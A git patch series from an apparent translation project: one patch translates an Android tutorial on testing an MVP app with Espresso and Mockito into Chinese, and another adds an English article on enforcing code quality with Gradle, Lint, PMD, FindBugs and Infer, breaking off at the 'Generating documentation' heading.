Date: Tue, 16 May 2017 21:10:13 +0800
Subject: [PATCH 472/638] over

---
 .../testing-mvp-using-espresso-and-mockito.md | 138 +++++++++---------
 1 file changed, 70 insertions(+), 68 deletions(-)

diff --git a/TODO/testing-mvp-using-espresso-and-mockito.md b/TODO/testing-mvp-using-espresso-and-mockito.md
index b31ff8af249..c02d103924d 100644
--- a/TODO/testing-mvp-using-espresso-and-mockito.md
+++ b/TODO/testing-mvp-using-espresso-and-mockito.md
@@ -4,41 +4,41 @@
 > * 译者：
 > * 校对者：
 
-# Testing MVP using Espresso and Mockito #
+# 使用 Espresso 和 Mockito 测试 MVP #
 
-As software developers, we try our best to do what is right and make sure that we are not incompetent, and try to have others and our employers trust in the code we write. We all try to follow best practices and apply good architecture patterns, but sometimes many of us find it difficult to actually test what we code.
+作为软件开发者，我们尽最大努力做正确的事情确保我们并非无能，并且让其他同事以及领导信任我们所写的代码。我们遵守最好的变成习惯、使用好的架构模型，但是有时发现要确切的测试我们所写的代码很难。
 
-Personally, I have seen a few open-source projects where the developers are great at building awesome products—and can build any application you can think of—but for some reason lack at writing the proper tests, if any at all.
+就个人而言，我发现一些开源项目的开发者非常善于打造令人惊叹的产品（可以打造任何你可以想象的应用），但是由于某些原因缺乏编写正确测试的能力，如果有的话。
 
-This here is another simplified tutorial on how to unit test the “oh so amazing” MVP architecture pattern that many of us try to follow.
+本文是关于如何对广泛应用的 MVP 架构模型进行单元测试的简单教程。
 
-Before I continue, I want to mention that I assume you are familiar with the MVP pattern, and have used it before. I will not go over the MVP pattern at all, and I will not explain how it works. With that in mind, I’d like to mention ahead of time that I am using one of my favorite libraries for MVPs created by a guy named [Hannes Dorfman](http://hannesdorfmann.com/) called [Mosby](https://github.com/sockeqwe/mosby). For simplicity’s sake, I am also using the view binding library called [ButterKnife](http://jakewharton.github.io/butterknife/).
+在开始前需要解释一下，本文假设你熟悉 MVP 模型并且之前使用过。本文不会介绍 MVP 模型，也不会介绍它的工作原理。同样，需要提一下的是我使用了一个我喜欢的 MVP 库 —— 由 [Hannes Dorfman](http://hannesdorfmann.com/) 编写的 [Mosby](https://github.com/sockeqwe/mosby)。为了方便起见，我使用了 view 绑定库 [ButterKnife](http://jakewharton.github.io/butterknife/)。
 
-So what is this application we will be looking at?
+那么这个应用究竟长什么样呢？
 
-It is a very simple Android app, and it does one thing and one thing only: It hides and displays a TextView with the click of a button. That’s it.
+这是一个非常简单的 Android 应用，它只做一件事：当点击按钮时隐藏或者显示一个 TextView。
 
-Here’s how the app looks initially:
+这是应用起初的样子：
 
 ![Initial](https://i1.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/IVvsdac.png)
 
-Here’s how it looks when the button is clicked:
+这是按钮点击后的样子：
 
 ![724E8fE.png](https://i2.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/724E8fE.png)
 
-For the sake of this article, let’s imagine that this is a multi-million-dollar product, and that the way it is now is the way it should be for a very long time. And if it were to ever change, we should be notified immediately.
+为了本文价值，我们假设这是一个价值数百万的产品，并且它现在的样子将会持续很长时间。如果一旦发生变化，我们需要立刻知晓。
 
-So we have three things in this app: a blue toolbar with the app name, a text view that displays “Hello World,” and a button that hides/shows the TextView.
+应用中有三部分内容：一个有应用名的蓝色工具栏，一个显示 “Hello World” 的 TextView，以及一个控制 TextView 显隐的按钮。
 
-Before I start, I would like to mention that you can find all of the code for this article on  [my GitHub](https://github.com/josias1991/TestingMVP); if you do not want to read any of my rambling, please feel free to skip the rest of the post and go straight to the code. Comments will be added for clarity.
+开始前需要做下说明，本文的所有代码都可以在[我的 GitHub ](https://github.com/josias1991/TestingMVP)找到；如果你不想阅读后文，可以放心去直接阅读源码。源码中的注释十分明确。
 
-Now, lets get testing!
+我们开始吧！
 
-## **The Espresso tests** ##
+## **Espresso 测试** ##
 
-The first thing we want to test is our awesome ToolBar design. I mean, it is a million-dollar app after all; we need to make sure it stays that way!
+我们首先对炫酷的 ToolBar 进行测试。毕竟是一个价值数百万的应用，我们需要确保它的正确性。
 
-So first, here’s the complete code used to test the TooBar design. If you have no idea what is going on here, don’t worry: We will walk through it together.
+如下是测试 ToolBar 的完整代码。如果你看不懂这到底是什么鬼，也没关系，后面我们一起过一下。
 
 ```
 @RunWith (AndroidJUnit4.class)
@@ -76,47 +76,49 @@ public class MainActivityTest {
 }
 ``` 
 
-First things first: We need to tell JUnit what sort of test we are running. This is what the first line does (@RunWith (AndroidJUnit4.class)). It says. “Hey, listen, I want to run an Android test that uses JUnit4 on an actual connected device.”
+首先，我们需要告诉 JUnit 我们进行测试的类型。具体内容对应第一行内容 (@RunWith (AndroidJUnit4.class))。它这样声明，“嘿，听着，我将在真机上使用 JUnit4 进行 Android 测试”。
 
-So what exactly is an Android test? An Android test is a test that runs on the device instead of locally on the [Java Virtual Machine (JVM)](https://en.wikipedia.org/wiki/Java_virtual_machine) on your computer. This means that a device needs to be connected to your computer in order to run the test. This gives the test code access to functional Android framework APIs.
+那么 Android 测试到底是什么呢？Android 测试是在 Android 设备上而非电脑上的 [Java 虚拟机 (JVM)](https://en.wikipedia.org/wiki/Java_virtual_machine) 的测试。这就意味着 Android 设备需要连接到电脑以便运行测试。这就使得测试可以访问 Android 框架功能性 APIs。
 
-These tests go in the androidTest directory.
+测试代码存放位置为 androidTest 目录。
 
 ![android_test_directory](https://i0.wp.com/www.andevcon.com/hs-fs/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/gcpEaEX.png?w=442)
 
-Next lets take a look at this thing called an “ActivityTestRule”. Since the android documentation explains it really well, here it is:
+下面我们看一下 “ActivityTestRule”，如下 Android 文档做出了详细的介绍：
 
-*“This rule provides functional testing of a single activity. The activity under test will be launched before each test annotated with [Test](http://junit.org/javadoc/latest/org/junit/Test.html) and before methods annotated with [Before](http://junit.sourceforge.net/javadoc/org/junit/Before.html). It will be terminated after the test is completed and methods annotated with [After](http://junit.sourceforge.net/javadoc/org/junit/After.html) are finished. During the duration of the test you will be able to manipulate your Activity directly.”*
+**“本规则针对单个 Activity 的功能性测试。测试的 Activity 会在 [Test](http://junit.org/javadoc/latest/org/junit/Test.html) 注释的测试以及 [Before](http://junit.sourceforge.net/javadoc/org/junit/Before.html) 注释的方法运行之前启动。会在测试完成以及 [After](http://junit.sourceforge.net/javadoc/org/junit/After.html) 注释的方法结束后停止。在测试期间可以直接对 Activity 进行操作。”**
 
-This basically says, “This is the activity I want to run my test.”
+本质上是说，“这是我要测试的 Activity”。
 
-Lets get in to the testToolbarDesign() method and see what the hell is going on.
+下面我们具体看下 testToolBarDesign() 方法具体做了什么。
 
-### **Testing the toolbar** ###
+### **测试 toolbar** ###
 
-```    onView(withId(R.id.toolbar)).check(matches(isDisplayed()));
+```    
+onView(withId(R.id.toolbar)).check(matches(isDisplayed()));
 ```
 
-What this test does is find a view with the ID that matches “R.id.toolbar,” then checks to make sure that this view is visible/displayed. If this line were to fail, the test would end right there and wouldn’t even bother with the rest.
+这段测试代码是找到 ID 为 “R.id.toolbar” 的 view，然后检查它的可见性。如果本行代码执行失败，测试会立刻结束并不会进行其余的测试。
 
-```    onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));
+```    
+onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));
 ```
 
-This one says “Hey, lets see if there is some text that equals ‘R.string.app_name’ and has a parent whose id is R.id.toolbar.”
+这行是说，“嘿，让我们看看是 R.id.toolbar 的孩子是否文本和 ‘R.string.app_name’ 相同的”。
 
-The last line in this test is a bit more involved. So basically what it is trying to do is to make sure that the background of the toolbar is equal to the app’s primary color.
+最后一行的测试更有趣一些。它是要确认 toolbar 的背景色是否和应用的首要颜色一致。
 
 ```
 onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));
 ```
 
-So by default, Espresso does not provide a straightforward way to do this, so we need to create what is called a [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/package-summary.html). A Matcher is exactly what we have been using previously to match some view property to another. In this case, we want to match the primary color to the toolbars background.
+Espresso 默认是不支持简单直接的方式进行类似测试，因此我们需要创建 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/package-summary.html)。Matcher 确切的说是我们前面使用的判断 view 属性是否与预期一致的工具。这里，我们需要匹配首要颜色是否与 toolbar 背景一致。
 
-What we do is we create a [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/BoundedMatcher.html) and override the matchesSafely() method. The code inside this method is pretty easy to understand. First we get the toolbar’s background, then we compare it to the app’s primary color. If it is equal, it returns true; false otherwise.
+我们需要创建一个 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/BoundedMatcher.html) 并覆盖 matchesSafely() 方法。该方法里面的代码十分易懂。首先我们获取 toolbar 背景色，然后将至与应用首要颜色对比。如果相等，返回 true 否则返回 false。
 
-### **Test TextView hides/shows properly** ###
+### **测试 TextView 的隐藏/显示** ###
 
-Ok, before I show any code, I just want to mention that this code is a bit more verbose, but pretty straightforward to read. I have added some comments to show what exactly is going on.
+在讲代码之前，我需要说下代码有点长，但是十分易读。我对代码内容作了详细注释。
 
 ```
 
@@ -165,13 +167,13 @@ public class MainActivityTest {
 }
 ```
 
-The gist of this code is that it is making sure that when the app opens, the TextView with ID “R.id.tv_to_show_hide” is displayed, and the text displayed on the TextView says “Hello World!”
+这段代码的主旨是确认应用打开时，ID 为 “R.id.tv_to_show_hide” 的 TextView 处于显示状态，并且其显示内容为 “Hello World!”
 
-Then we check that the button is also displayed properly, and that the text on the button (by default) is set to “Hide”.
+然后检查按钮也是显示状态，并且其文案显示为 “Hide”。
 
-Next we click on the button. A click on a button is very straightforward, and it is very easy to read how it is done. This time instead of calling “.check” after we find a view by ID, we call .perform(), and inside the perform() method, we pass in click(). The perform() method says “Please do the following action,” and then “performs” whatever action is passed in. In our case it is a click() action.
+接着点击按钮。点击按钮十分简单，如何实现的也十分易懂。这里我们对找到相应 ID 的 view 执行 .perform() (而非 “.check”)，并且在其内执行 click() 方法。perform() 方法实际是执行传入的操作。这里对应是 click() 操作。
 
-Since the “Hide” button was clicked, we need to make sure the TextView is actually hidden now. We do this by adding a “not()” in front of the isDisplayed() method we used previously, and the button text has been changed to “Show”. This is the same as doing “!=” in plain ol’ java.
+因为点击了 “Hide” 按钮，我们需要验证 TextView 是否真的隐藏了。具体做法是在 diDisplayed() 方法前置一个 “not()”，并且按钮文案变为 “Show”。其实这就和 java 中的 “!=” 操作符一样。
 
 ```
 
@@ -198,11 +200,11 @@ public class MainActivityTest {
 }
 ``` 
 
-The code after these lines is the reverse of what we did before. We click the button again, make sure the TextView is visible again, and make sure that the button text has changed to successfully to match the situation.
+后面的代码是前面代码的反转。再次点击按钮，验证 TextView 重新显示，并且按钮文案符合当前状态。
 
-And that’s it!
+就这些。
 
-Here is the full UI test code:
+如下是全部的 UI 测试代码：
 
 ```
 
@@ -273,17 +275,17 @@ public class MainActivityTest {
 }
 ```
 
-## **The Unit Tests** ##
+## **单元测试** ##
 
-The great thing about unit tests—as opposed to Android tests—is that they run locally on your machine on the JVM. No need to have a device attached, and the tests run so much faster. The downside is that they do not have access to functional Android framework APIs. Overall, when testing anything other then UI you should try your best to write unit tests instead of Android/Instrumentation tests. The faster the tests, the better.
+单元测试最大特点是在本机的 JVM 环境上运行（与 Android 测试不同）。无需连接设备，测试跑的也更快。缺点就是无法访问 Android 框架 API。总之进行 UI 之外的测试时，尽量使用单元测试而非 Android/Instrumentation 测试。测试内容运行的越快越好。
 
-Lets start with the directory of the unit tests. The unit tests go in a different location then the Android tests did.
+下面我们看下单元测试的目录。单元测试的位置与 Android 测试不同。
 
 ![different_location](https://i1.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/mYBjN1x.png)
 
-Before moving on lets take a look at our presenter and what we are going to consider our model for this tutorial.
+开始前我们先看下 presenter 以及关于 model 需要考虑的问题。
 
-### *Lets start with the presenter* ###
+### **首先看下 presenter** ###
 
 ```
 
@@ -312,11 +314,11 @@ public class MainPresenterImpl extends MvpBasePresenter implements MainPresenter
 }
 ``` 
 
-Simple enough. We have two methods: One checks to see if the view is visible. If it is, hide it, otherwise show it. Once this is done, we call into our view and say “Hey, change the button text to either ‘Hide’ or ‘Show’.”
+很简单。两个方法：一个检查 view 是否可见。如果可见就隐藏它，反之显示。之后将按钮的文案改为 “Hide” 或 “Show”。
 
-Our reverseViewVisibility() method calls into what we call (for this tutorial at least) our “model” to set the proper visibility on the view passed in.
+reverseViewVisibility() 方法调用 “model” 对传入的 view 进行相对的可见性设置。
 
-### *Lets take a look at our model.* ###
+### **下面看下 model** ###
 
 ```
 public final class Utils {
@@ -336,17 +338,17 @@ public final class Utils {
     }
 ``` 
 
-There are two methods: showView(View) and hideView(View). What these methods do is very straightforward and self-explanatory. We check if the view is null; if not, we either hide it or show it.
+两个方法：showView(View) 和 hideView(View)。具体功能十分直观。检查 view 是否为 null，不为 null 则对其进行显隐设置。
 
-Great, now that we are familiar with both our presenter and our “model,” lets go ahead and test them. After all, this is a multi-million-dollar product, and we cannot have anything go wrong.
+现在我们对 presenter 和 model 都有所了解了，下面我们开始测试。毕竟这是一个数百万的产品，我们不能有任何错误。
 
-Let start start testing our presenter first. When it comes to a presenter—ANY presenter—we need to make sure that the view is attached to the presenter. Note: We are NOT testing the view. We just need to make sure that the view is attached so that we can verify the proper view methods are being made in the right time. Keep this in mind as this is very important.
+我们首先测试 presenter。当涉及 presenter （任何 presenter）我们需要确保 view 已与之关联。注意：我们并不测试 view。我们只需要确保 view 的绑定以便确认是否在正确的时间调用了正确的 view 方法。记住，这很重要。
 
-We will be using Mockito to run our tests, so just like we did with our unit tests, we ned to tell Android, “Hey, we want to run these tests with the MockitoJUnitRunner.” To do so we add the @RunWith (MockitoJUnitRunner.class) annotation on top of our test class.
+这里我们使用 Mockito 进行测试，就像单元测试那样，我们需要告诉 Android，“嘿，我们需要使用 MockitoJUnitRunner 进行测试。”实际操作时在测试类的顶部添加 @RunWith (MockitoJUnitRunner.class) 即可。
 
-So we know two things right from the start: We need a mocked View because our presenter uses a View Object to hide or show it, and we also need our presenter.
+从前面可知我们需要两个东西：一是模拟一个 View （因为 presenter 使用了 View 对象，对其进行显隐控制），另外一个是 presenter。
 
-This is how we mock using Mockito
+下面是使用 Mockito 的模拟
 
 ```
 @RunWith (MockitoJUnitRunner.class)
@@ -364,7 +366,7 @@ public class MainPresenterImplTest {
 }
 ```
 
-The first actual test we want to write is called “testReverseViewVisibilityFromVisibleToGone”. As the name says, we are going to make sure that the presenter sets the proper visibility when the view passed in to the reverseViewVisibility() method is visible.
+我们要写的第一个测试是 “testReverseViewVisibilityFromVisibleToGone”。顾名思义，我们验证的是当 view 可见时，调用 presenter 的 reverseViewVisibility() 方法结果正确。
 
 ```
    @Test
@@ -379,11 +381,11 @@ The first actual test we want to write is called “testReverseViewVisibilityFro
     }
 ```
 
-Let’s step through this together. What is actually going on here? Well, when the isShown() method is called on the view that is passed in to the presenter, we want to say yes, the view is shown, because we are testing from visible to gone, so we need to start at visible. Then, we call the presenters reverseViewVisibility() method by passing in the mocked view. Now we need to verify that the mocked views .setVisibility() was called at least once, and it was set to View.GONE. Afterwards, we need to verify that the presenters view setButtonText() method was called. Not that hard right?
+我们一起看下，这里具体做了什么？由于我们要测试的是 view 从可见到不可见的操作，我们需要 view 一开始是可见的，因此我们希望一开始调用 view 的 isShown() 方法返回是 true。接着，以模拟的 view 作为入参调用 presenter 的 reverseViewVisibility() 方法。现在我们需要确认 view 最近被调用的方法是 setVisibility()，并且设置为 GONE。然后，我们需要确认 presenter view 的 setButtonText() 方法是否调用。并不难吧？
 
-Alright, lets do the opposite. Before moving on and looking at the next piece of code, take some time to figure it out yourself. How would we test going from hidden to visible? Think about what you already know.
+嗯，接着我们进行相反的测试。在继续阅读下面的代码之前，试着自己想一下怎么做。如何测试从隐藏到显示的情况？根据上面已知的信息思考一下。
 
-Here’s the code:
+代码实现如下：
 
 ```
     @Test
@@ -399,7 +401,7 @@ Here’s the code:
 ```
 
 
-Lets move on to testing our “Model.” As before, we start by adding the @RunWith (MockitoJUnitRunner.class) annotation on top of our class.
+接着测试 “Model”。和前面一样，我们首先在类顶部添加注解 @RunWith (MockitoJUnitRunner.class) 。
 
 ``` 
 @RunWith(MockitoJUnitRunner.class)
@@ -412,9 +414,9 @@ publicclassUtilsTest{
 ```
  
 
-As mentioned previously, our Utils class first checks if the view is not null. If not, a visibility is applied, otherwise nothing is done.
+如前面所说，Utils 类首先检查 view 是否为 null。如果不为 null 将执行显隐操作，反之什么都不会做。
 
-The tests for this class are very easy, so I am just going to put the whole thing here without stepping through it line by line.
+Utils 类的测试十分简单，因此我不再逐行解释，大家直接看代码即可。
 
 ```
 @RunWith (MockitoJUnitRunner.class)
@@ -451,9 +453,9 @@ public class UtilsTest {
 ```
  
 
-I’ll explain what is going on in the testShowViewWithNullView() and testHideViewWithNullView() methods. Why would we want to test something like this? Well if we think about it for a second, we do not want our method calls to crash the entire application because the view was null.
+我解释下 testShowViewWithNullView() 和 testHideViewWithNullView() 方法的作用。为什么要进行这些测试？试想下，我们不希望因为 view 为 null 时调用方法造成整个应用的崩溃。
 
-Lets take a look at the Utils showView() method. If we remove the null check, the app will throw a NullPointerException and would crash.
+我们看下 Utils 的 showView() 方法。如果不做 null 检查，当 view 为 null 时应用会抛出 NullPointerException 并崩溃。
 
 ```
 public final class Utils {
@@ -470,7 +472,7 @@ public final class Utils {
 }
 ```
 
-In other scenarios we may want the app to actually throw an exception. How would we test an exception? Its actually very easy: You would just pass in an expected param to the @Test annotation like so:
+另外一些情况下，我们需要应用抛出一个异常。我们如何测试一个异常？十分简单：只需要对 @Test 注解传递一个 expected 参数进行指定：
 
 ```
 @RunWith (MockitoJUnitRunner.class)
@@ -485,13 +487,13 @@ public class UtilsTest {
 }
 ```
 
-If no exception is thrown, the test would fail.
+如果没有异常抛出，该测试会失败。
 
-Again, you can find all of the code on [GitHub](https://github.com/josias1991/TestingMVP).
+再次提示，你可以在 [GitHub](https://github.com/josias1991/TestingMVP) 获取全部代码。
 
-Now that we are at the end of the post, I want to mention something to you guys: Testing will not always be as straightforward as it was in this example, but it doesn’t mean it can’t, and shouldn’t be done. As software developers, we need to make sure that our applications work properly and as expected. We need to make sure others trust our code. I have been doing this for many years and you couldn’t imagine how many times tests have saved me, even for the simplest thing such as changing a view ID.
+本文接近尾声，需要提醒大家的是：测试并不总是像本例这样简单，但也不意味着不会如此或不该如此。作为开发者，我们需要确保应用正确的运行。我们需要确保大家信任我们的代码。我已经持续这样做许多年了，你可能无法想象测试拯救了我多少次，甚至是像改变 view ID 这样最简单的事。
 
-No one is perfect, but tests help us get a step closer. Keep on coding, keep on testing and until next time!
+没有人是完美的，但是测试让我们趋近完美。保持编码，保持测试，直到永远！
 
 ---
 

From a7bc12bc296cbc124357e53ec6c2da9d6baf0abd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 21:31:51 +0800
Subject: [PATCH 473/638] Create make-or-break-with-gradle.md

---
 TODO/make-or-break-with-gradle.md | 445 ++++++++++++++++++++++++++++++
 1 file changed, 445 insertions(+)
 create mode 100644 TODO/make-or-break-with-gradle.md

diff --git a/TODO/make-or-break-with-gradle.md b/TODO/make-or-break-with-gradle.md
new file mode 100644
index 00000000000..a328347242a
--- /dev/null
+++ b/TODO/make-or-break-with-gradle.md
@@ -0,0 +1,445 @@
+> * 原文地址：[Make or break… with Gradle](https://medium.com/contentsquare-engineering-blog/make-or-break-with-gradle-dac2e858868d)
+> * 原文作者：[Tancho Markovik](https://medium.com/@smarkovik)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Make or break… with Gradle #
+
+Have you ever heard of the phrase, ***Legacy Code***?
+Have you ever considered you may be producing Legacy code in real time?
+
+The feeling is horrible, right?
+
+But is it true, is your code “Legacy” ?
+I asked myself this question, and decided to do some research on the subject. I tried to figure out how one applies the adjective “Legacy” to code?
+While searching, I found this definition:
+
+> “ There is a common, false perception that legacy code is old. Although some software developers look at legacy code as a poorly written program, legacy code actually describes a code base that is no longer engineered but continually patched. Over time, an unlimited number of modifications may be made to a code base based on customer demand, causing what was originally well-written code to evolve into a complex monster. A software developer will recognize legacy code when a feature cannot be added without breaking other logic or features. At this point, the developers may begin lobbying for a new system.”
+
+Sounds familiar?
+So how do we fix this?
+
+I’ve worked on Android a lot recently, so I will relate the discussion to this platform. I recently joined ContentSquare, and I was lucky enough have the ability to directly affect both Mobile platforms.
+
+“*I will learn from my mistakes and never allow anyone to do them again!*”
+
+I started looking into the tools of the trade, and also what I want to do, and eventually implement the same safety net on both platforms.
+
+So I started writing requirements for my safety net:
+
+- apply code style checks
+- add code analyzers
+- add specific pattern detectors
+- require continuous code documentation
+- perform continuous discovery of new issues
+- stop the bleed
+
+### Git and friends ###
+
+Were equipped with all the usual tools. We use GitHub, and we have a Jenkins server which runs our builds. Our usual process uses the feature branch approach. 
+This means our branch process by default looks like this:
+
+![](https://cdn-images-1.medium.com/max/1000/1*iHPPa72N11sBI_JSDEGxEA.png)
+
+Git feature branching model. Image courtesy of github.com
+
+What we also decided, is to disable direct commits to master, meaning we only can push code to master through a branch merge with a pull request. 
+Doing this on GitHub is super easy. Just go to your repo settings, and select protect this branch.
+
+![](https://cdn-images-1.medium.com/max/800/1*mMx46zrf2rs-mWVM_gvrnQ.png)
+
+Setting up branch protection on GitHub
+
+What we just did is disallow anyone to commit and push directly to master.
+From now on we have to go through a pull request which will be reviewed by at least one person.
+
+This helps on two fronts:
+
+1. With the pull request, we notify everyone of the change, allowing them to know the development of the code by review.
+2. Using the peer reviews we get to reduce the amount of bugs as people notice when someone is taking a shortcut.
+
+For the time being, our build loop is very simple.
+
+```
+./gradlew check // run unit tests 
+./gradlew assemble // assemble all build flavors
+```
+
+OK, now off to finding the tools we’re going to use.
+
+As a requirement, we decided to only use tools which integrate through gradle. This would allow us to have completely seamless integration.
+
+### [Lint](https://developer.android.com/studio/write/lint.html) ###
+
+As lint is a common tool I will not go into details about it, instead I will just show you how to enable it.
+
+Lint is a part of the android plugin, but by default it’s not configured on new projects.
+To enable it, add the following block to the ***android*** section of the ***build.gradle*** file.
+
+```
+lintOptions {
+//lintrules of conduct
+   warningsAsErrors true
+   abortOnError true
+   htmlReport true
+   //locations**for**the rules and output
+   lintConfig file("${rootDir}/config/lint/lint-config.xml")
+   htmlOutput file("${buildDir}/reports/lint/lint.html")
+}
+```
+
+In the above segment, the things to note are :
+
+1. warningsAsErrors = true — Consider all warnings as errors
+2. abortOnError = true — break the build on any Lint error
+3. lintConfig — A file which provides input for lint, with definitions per rule
+
+Ok, so now that we have lint done, we need to actually run it somehow.
+
+Gradle’s android plugin has a quite a few pre-defined tasks, which you can get a complete listing of by using the option *tasks*. 
+As the listing is huge, here’s an excerpt of it showing the verification tasks:
+
+```
+$ ./**gradlew****tasks**
+------------------------------------------------------------
+All tasks runnable from root project
+------------------------------------------------------------
+
+Android tasks
+-------------
+androidDependencies - Displays the Android dependencies of the project.
+signingReport - Displays the signing info for each variant.
+sourceSets - Prints out all the source sets defined in this project.
+... etc ...
+Verification tasks
+------------------
+
+check - Runs all checks.
+connectedAndroidTest - Installs and runs instrumentation tests for all flavors on connected devices.
+connectedCheck - Runs all device checks on currently connected devices.
+connectedDebugAndroidTest - Installs and runs the tests for debug on connected devices.
+createDebugCoverageReport - Creates test coverage reports for the debug variant.
+deviceAndroidTest - Installs and runs instrumentation tests using all Device Providers.
+deviceCheck - Runs all device checks using Device Providers and Test Servers.
+
+lint - Runs lint on all variants.
+lintDebug - Runs lint on the Debug build.
+lintRelease - Runs lint on the Release build.
+test - Run unit tests for all variants.
+testDebugUnitTest - Run unit tests for the debug build. 
+testReleaseUnitTest - Run unit tests for the release build.
+
+... etc ...
+```
+
+I like *check* which is described simply as “runs all checks”.
+
+By default check calls the appropriate check tasks on all available modules. This means, by running :
+
+```
+./gradlewcheck
+```
+
+You will run the check task on all submodules. And this task runs :
+
+- all unit tests for debug/release flavor
+- all UI tests for debug/release flavor
+- Lint
+
+For this moment this is all we need, and due to it’s nature, we will link all future checks to this task.
+
+### Code Analysis ###
+
+So, next I was reading up on [PMD](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-pmd.gradle), [Findbugs](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-findbugs.gradle) and discovered Facebook’s [Infer](https://github.com/smarkovik/make-or-break/blob/master/config/codequality-infer.gradle).
+
+**PMD** is a source code analyzer. It finds common programming flaws like unused variables, empty catch blocks, unnecessary object creation, and so forth. PMD works on source code and therefore finds problems like: violation of naming conventions, lack of curly braces, misplaced null check, long parameter list, unnecessary constructor, missing break in switch, etc. PMD also tells you about the Cyclomatic complexity of your code which I find very helpful.
+
+To add PMD as an analyzer, we have to append to the build.gradle file. We can add the following definitions
+
+```
+apply plugin: 'pmd'
+
+def configDir = "${project.rootDir}/config"
+def reportsDir = "${project.buildDir}/reports"
+check.dependsOn 'pmd'
+task pmd(type: Pmd, dependsOn: "assembleDebug") {
+   ignoreFailures = false
+   ruleSetFiles = files("$configDir/pmd/pmd-ruleset.xml")
+   ruleSets = []
+   source 'src/main/java'
+   include '**/*.java'
+   exclude '**/gen/**'
+   reports {
+      xml.enabled = true
+      html.enabled = true
+      xml {
+         destination "$reportsDir/pmd/pmd.xml"
+      }
+      html {
+         destination "$reportsDir/pmd/pmd.html"
+      }
+   }
+}
+```
+
+In this script, the interesting things to note are :
+
+1. check.dependsOn ‘pmd’ — this line links the PMD task with check. Which means, when we call gradle check, it will call pmd as a dependency task. This way, the team can get used to just calling gradle check and know all relevant checks are done through this task.
+2. ruleSetFiles — defines the set of rules and specifics which are to be used in this installation.
+3. reports block — defines all the requirements in terms of what to scan, what to ignore, and where to report.
+
+**FindBugs** is an analyzer which detects possible bugs in Java programs. Potential errors are classified in four ranks: (i) scariest, (ii) scary, (iii) troubling and (iv) of concern. This is a hint to the developer about their possible impact or severity. FindBugs operates on Java bytecode, rather than source code.
+
+```
+apply plugin: 'findbugs'
+def configDir = "${project.rootDir}/config"
+def reportsDir = "${project.buildDir}/reports"
+check.dependsOn 'findbugs'
+task findbugs(type: FindBugs, dependsOn: "assembleDebug") {
+   ignoreFailures = false
+   effort = "max"
+   reportLevel = "high"
+   excludeFilter = new File("$configDir/findbugs/findbugs-filter.xml")
+   classes = files("${buildDir}/intermediates/classes")
+   source'src/main/java'
+   include '**/*.java'
+   exclude '**/gen/**'
+   reports { 
+      xml.enabled = true
+      html.enabled = false
+      xml {
+         destination "$reportsDir/findbugs/findbugs.xml"
+      }
+      html {
+         destination "$reportsDir/findbugs/findbugs.html"
+      }
+   }
+   classpath = files()
+}
+```
+
+Things to note in this configuration are:
+
+1. check.dependsOn ‘findbugs’ — same as before, we link it to check
+2. ignoreFailures = false — defines whether any discoveries are used as warnings or errors.
+3. reportLevel = “max” — It specifies the confidence/priority threshold for reporting issues. If set to “low”, confidence is not used to filter bugs. If set to “medium” (the default), low confidence issues are suppressed. If set to “high”, only high confidence bugs are reported
+4. effort — Set the analysis effort level. Enable analyses which increase precision and find more bugs, but which may require more memory and take more time to complete.
+5. reports = the location where the reports will be saved.
+
+**Infer** is a static analysis tool for Java, Objective-C and C. What was nice about infer is the fact it double checks all `@Nullable` vs `@NonNull` annotated variables and has some Android specific checks which were of interest. Infer is a standalone tool, which means that by default it doesn’t integrate with Gradle, however, good guy Uber developed a [Gradle plugin for Infer](https://github.com/uber-common/infer-plugin/) .
+To add this analyzer to our build process, we again add to Gradle.
+
+```
+apply plugin: 'com.uber.infer.android'
+check.dependsOn 'inferDebug'
+check.dependsOn 'eradicateDebug'
+inferPlugin {
+   infer {
+      include = project.files("src/main")
+      exclude = project.files("build/")
+   }
+   eradicate {
+   include = project.files("src/main")
+   exclude = project.files("build/")
+   }
+}
+```
+
+Adding this plugin is quite straightforward, we only define the sources which are to be included and excluded from the check.
+
+Now that we have some analyzers, call ./***gradlew check*** and see what happens. 
+Within the huge log, you will see something similar to the following
+
+```
+:mylibrary:inferCheckForCommand
+:mylibrary:inferPrepareDebug
+:mylibrary:eradicateDebug
+Starting analysis...
+
+legend:
+  "F" analyzing a file
+  "." analyzing a procedure
+
+Found 12 source files in /Users/tancho/Development/repos/tests/make-or-break/mylibrary/build/infer-out
+
+  No issues found
+:mylibrary:findbugs UP-TO-DATE
+:mylibrary:inferDebug
+Starting analysis...
+
+legend:
+  "F" analyzing a file
+  "." analyzing a procedure
+
+Found 12 source files in /Users/tancho/Development/repos/tests/make-or-break/mylibrary/build/infer-out
+
+  No issues found
+
+:mylibrary:deleteInferConfig
+:mylibrary:lint
+Ran lint on variant release: 0 issues found
+Ran lint on variant debug: 0 issues found
+:mylibrary:pmd
+```
+
+However defining the code style was a pain!
+
+Google to the rescue! Google actually provides it’s [code style](http://checkstyle.sourceforge.net/reports/google-java-style-20170228.html) publicly. And as it was already pretty close to the IntelliJ Idea defaults,
+I just modified the “code formatting template” in studio and within 10–15 mins,[ I was all set](https://github.com/smarkovik/make-or-break/tree/master/config/codestyle).
+
+***ProTip*** *: if you want to constantly auto format your code, IntelliJ has you covered. You can easily record a macro, which will, rearrange code, re-order imports, remove unused imports, as well as do any other style related operations. When done put a “save all” at the end. Next, store the macro and assign it to ctrl+s. These settings, can be shared to the team, and it automagically works for everyone.*
+
+### Generating documentation ###
+
